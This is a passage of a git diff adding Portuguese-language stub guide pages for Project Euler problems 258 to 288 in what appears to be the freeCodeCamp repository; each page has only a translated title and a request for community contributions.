diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-258-a-lagged-fibonacci-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-258-a-lagged-fibonacci-sequence/index.md
new file mode 100644
index 0000000000..a0a3c807f7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-258-a-lagged-fibonacci-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: A lagged Fibonacci sequence
+localeTitle: Uma sequência de Fibonacci defasada
+---
+## Problema 258: Uma seqüência de Fibonacci retardada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-258-a-lagged-fibonacci-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-259-reachable-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-259-reachable-numbers/index.md
new file mode 100644
index 0000000000..d364c36853
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-259-reachable-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Reachable Numbers
+localeTitle: Números Acessíveis
+---
+## Problema 259: Números Acessíveis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-259-reachable-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-26-reciprocal-cycles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-26-reciprocal-cycles/index.md
new file mode 100644
index 0000000000..610e3f4062
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-26-reciprocal-cycles/index.md
@@ -0,0 +1,9 @@
+---
+title: Reciprocal cycles
+localeTitle: Ciclos recíprocos
+---
+## Problema 26: Ciclos Recíprocos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-26-reciprocal-cycles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-260-stone-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-260-stone-game/index.md
new file mode 100644
index 0000000000..79824e1ba0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-260-stone-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Stone Game
+localeTitle: Jogo de pedra
+---
+## Problema 260: Jogo de Pedra
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-260-stone-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-261-pivotal-square-sums/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-261-pivotal-square-sums/index.md
new file mode 100644
index 0000000000..897514ba07
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-261-pivotal-square-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Pivotal Square Sums
+localeTitle: Sumos quadrados pivô
+---
+## Problema 261: Soma Quadrada Principal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-261-pivotal-square-sums/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-262-mountain-range/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-262-mountain-range/index.md
new file mode 100644
index 0000000000..74f013a361
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-262-mountain-range/index.md
@@ -0,0 +1,9 @@
+---
+title: Mountain Range
+localeTitle: Cadeia de montanhas
+---
+## Problema 262: Cordilheira
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-262-mountain-range/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-263-an-engineers-dream-come-true/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-263-an-engineers-dream-come-true/index.md
new file mode 100644
index 0000000000..c8e91e267c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-263-an-engineers-dream-come-true/index.md
@@ -0,0 +1,9 @@
+---
+title: An engineers' dream come true
+localeTitle: O sonho de um engenheiro se tornou realidade
+---
+## Problema 263: O sonho de um engenheiro se torna realidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-263-an-engineers-dream-come-true/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-264-triangle-centres/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-264-triangle-centres/index.md
new file mode 100644
index 0000000000..6232a6ede3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-264-triangle-centres/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle Centres
+localeTitle: Centros Triângulos
+---
+## Problema 264: Centros Triângulo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-264-triangle-centres/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-265-binary-circles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-265-binary-circles/index.md
new file mode 100644
index 0000000000..e95b89d45a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-265-binary-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Binary Circles
+localeTitle: Círculos binários
+---
+## Problema 265: Círculos Binários
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-265-binary-circles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-266-pseudo-square-root/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-266-pseudo-square-root/index.md
new file mode 100644
index 0000000000..fdb026480b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-266-pseudo-square-root/index.md
@@ -0,0 +1,9 @@
+---
+title: Pseudo Square Root
+localeTitle: Raiz Pseudo Quadrada
+---
+## Problema 266: Raiz Pseudo-Quadrada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-266-pseudo-square-root/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-267-billionaire/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-267-billionaire/index.md
new file mode 100644
index 0000000000..60eefb5fa6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-267-billionaire/index.md
@@ -0,0 +1,9 @@
+---
+title: Billionaire
+localeTitle: Bilionário
+---
+## Problema 267: Bilionário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-267-billionaire/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-268-counting-numbers-with-at-least-four-distinct-prime-factors-less-than-100/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-268-counting-numbers-with-at-least-four-distinct-prime-factors-less-than-100/index.md
new file mode 100644
index 0000000000..8943ee28f5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-268-counting-numbers-with-at-least-four-distinct-prime-factors-less-than-100/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting numbers with at least four distinct prime factors less than 100
+localeTitle: Contando números com pelo menos quatro fatores primos distintos menores que 100
+---
+## Problema 268: Contando números com pelo menos quatro fatores primos distintos menores que 100
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-268-counting-numbers-with-at-least-four-distinct-prime-factors-less-than-100/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-269-polynomials-with-at-least-one-integer-root/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-269-polynomials-with-at-least-one-integer-root/index.md
new file mode 100644
index 0000000000..1050bee13e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-269-polynomials-with-at-least-one-integer-root/index.md
@@ -0,0 +1,9 @@
+---
+title: Polynomials with at least one integer root
+localeTitle: Polinômios com pelo menos uma raiz inteira
+---
+## Problema 269: Polinômios com pelo menos uma raiz inteira
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-269-polynomials-with-at-least-one-integer-root/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-27-quadratic-primes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-27-quadratic-primes/index.md
new file mode 100644
index 0000000000..d5ceefa64e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-27-quadratic-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Quadratic primes
+localeTitle: Primos quadráticos
+---
+## Problema 27: Primos quadráticos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-27-quadratic-primes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-270-cutting-squares/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-270-cutting-squares/index.md
new file mode 100644
index 0000000000..e750c1a727
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-270-cutting-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Cutting Squares
+localeTitle: Quadrados de corte
+---
+## Problema 270: Quadrados de Corte
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-270-cutting-squares/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-271-modular-cubes-part-1/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-271-modular-cubes-part-1/index.md
new file mode 100644
index 0000000000..d25583e1a3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-271-modular-cubes-part-1/index.md
@@ -0,0 +1,9 @@
+---
+title: Modular Cubes, part 1
+localeTitle: Cubos Modulares, parte 1
+---
+## Problema 271: Cubos Modulares, parte 1
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-271-modular-cubes-part-1/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-272-modular-cubes-part-2/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-272-modular-cubes-part-2/index.md
new file mode 100644
index 0000000000..63f8b0592e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-272-modular-cubes-part-2/index.md
@@ -0,0 +1,9 @@
+---
+title: Modular Cubes, part 2
+localeTitle: Cubos Modulares, parte 2
+---
+## Problema 272: Cubos Modulares, parte 2
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-272-modular-cubes-part-2/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-273-sum-of-squares/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-273-sum-of-squares/index.md
new file mode 100644
index 0000000000..d0bf8940eb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-273-sum-of-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of Squares
+localeTitle: Soma dos Quadrados
+---
+## Problema 273: Soma dos Quadrados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-273-sum-of-squares/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-274-divisibility-multipliers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-274-divisibility-multipliers/index.md
new file mode 100644
index 0000000000..2eaa2e84e7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-274-divisibility-multipliers/index.md
@@ -0,0 +1,9 @@
+---
+title: Divisibility Multipliers
+localeTitle: Multiplicadores de Divisibilidade
+---
+## Problema 274: Multiplicadores de Divisibilidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-274-divisibility-multipliers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-275-balanced-sculptures/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-275-balanced-sculptures/index.md
new file mode 100644
index 0000000000..361e84dc9f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-275-balanced-sculptures/index.md
@@ -0,0 +1,9 @@
+---
+title: Balanced Sculptures
+localeTitle: Esculturas Balanceadas
+---
+## Problema 275: Esculturas Equilibradas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-275-balanced-sculptures/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-276-primitive-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-276-primitive-triangles/index.md
new file mode 100644
index 0000000000..d569ec9b32
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-276-primitive-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Primitive Triangles
+localeTitle: Triângulos primitivos
+---
+## Problema 276: Triângulos Primitivos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-276-primitive-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-277-a-modified-collatz-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-277-a-modified-collatz-sequence/index.md
new file mode 100644
index 0000000000..f73f9e80cd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-277-a-modified-collatz-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: A Modified Collatz sequence
+localeTitle: Uma sequência de Collatz modificada
+---
+## Problema 277: Uma sequência de Collatz modificada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-277-a-modified-collatz-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-278-linear-combinations-of-semiprimes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-278-linear-combinations-of-semiprimes/index.md
new file mode 100644
index 0000000000..07b90e4bac
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-278-linear-combinations-of-semiprimes/index.md
@@ -0,0 +1,9 @@
+---
+title: Linear Combinations of Semiprimes
+localeTitle: Combinações Lineares de Semiprimes
+---
+## Problema 278: Combinações Lineares de Semiprimes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-278-linear-combinations-of-semiprimes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-279-triangles-with-integral-sides-and-an-integral-angle/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-279-triangles-with-integral-sides-and-an-integral-angle/index.md
new file mode 100644
index 0000000000..e9c19c7bfa
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-279-triangles-with-integral-sides-and-an-integral-angle/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangles with integral sides and an integral angle
+localeTitle: Triângulos com lados integrais e um ângulo integral
+---
+## Problema 279: Triângulos com lados integrais e um ângulo integral
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-279-triangles-with-integral-sides-and-an-integral-angle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-28-number-spiral-diagonals/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-28-number-spiral-diagonals/index.md
new file mode 100644
index 0000000000..55d9572e62
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-28-number-spiral-diagonals/index.md
@@ -0,0 +1,9 @@
+---
+title: Number spiral diagonals
+localeTitle: Diagonais em espiral numérica
+---
+## Problema 28: Numerar diagonais em espiral
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-28-number-spiral-diagonals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-280-ant-and-seeds/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-280-ant-and-seeds/index.md
new file mode 100644
index 0000000000..453f404231
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-280-ant-and-seeds/index.md
@@ -0,0 +1,9 @@
+---
+title: Ant and seeds
+localeTitle: Formiga e sementes
+---
+## Problema 280: Formiga e Sementes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-280-ant-and-seeds/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-281-pizza-toppings/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-281-pizza-toppings/index.md
new file mode 100644
index 0000000000..26d6c33d1b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-281-pizza-toppings/index.md
@@ -0,0 +1,9 @@
+---
+title: Pizza Toppings
+localeTitle: Coberturas de pizza
+---
+## Problema 281: Coberturas de Pizza
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-281-pizza-toppings/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-282-the-ackermann-function/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-282-the-ackermann-function/index.md
new file mode 100644
index 0000000000..8e27d3680d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-282-the-ackermann-function/index.md
@@ -0,0 +1,9 @@
+---
+title: The Ackermann function
+localeTitle: A função Ackermann
+---
+## Problema 282: A função Ackermann
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-282-the-ackermann-function/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-283-integer-sided-triangles-for-which-the--areaperimeter-ratio-is-integral/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-283-integer-sided-triangles-for-which-the--areaperimeter-ratio-is-integral/index.md
new file mode 100644
index 0000000000..7744533643
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-283-integer-sided-triangles-for-which-the--areaperimeter-ratio-is-integral/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer sided triangles for which the  area/perimeter ratio is integral
+localeTitle: Triângulos de lados inteiros para os quais a relação área / perímetro é integral
+---
+## Problema 283: triângulos de lados inteiros para os quais a relação área / perímetro é integral
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-283-integer-sided-triangles-for-which-the--areaperimeter-ratio-is-integral/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-284-steady-squares/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-284-steady-squares/index.md
new file mode 100644
index 0000000000..d7886482b4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-284-steady-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Steady Squares
+localeTitle: Quadrados Estáveis
+---
+## Problema 284: Quadrados Estáveis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-284-steady-squares/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-285-pythagorean-odds/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-285-pythagorean-odds/index.md
new file mode 100644
index 0000000000..b732eb6caf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-285-pythagorean-odds/index.md
@@ -0,0 +1,9 @@
+---
+title: Pythagorean odds
+localeTitle: Odds pitagóricas
+---
+## Problema 285: Odds pitagóricas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-285-pythagorean-odds/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-286-scoring-probabilities/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-286-scoring-probabilities/index.md
new file mode 100644
index 0000000000..f89de6d2a5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-286-scoring-probabilities/index.md
@@ -0,0 +1,9 @@
+---
+title: Scoring probabilities
+localeTitle: Probabilidades de pontuação
+---
+## Problema 286: Probabilidades de pontuação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-286-scoring-probabilities/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-287-quadtree-encoding-a-simple-compression-algorithm/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-287-quadtree-encoding-a-simple-compression-algorithm/index.md
new file mode 100644
index 0000000000..acf017f805
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-287-quadtree-encoding-a-simple-compression-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Quadtree encoding (a simple compression algorithm)
+localeTitle: Codificação Quadtree (um algoritmo de compressão simples)
+---
+## Problema 287: Codificação Quadtree (um algoritmo de compactação simples)
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-287-quadtree-encoding-a-simple-compression-algorithm/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-288-an-enormous-factorial/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-288-an-enormous-factorial/index.md
new file mode 100644
index 0000000000..e09ddd9fc9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-288-an-enormous-factorial/index.md
@@ -0,0 +1,9 @@
+---
+title: An enormous factorial
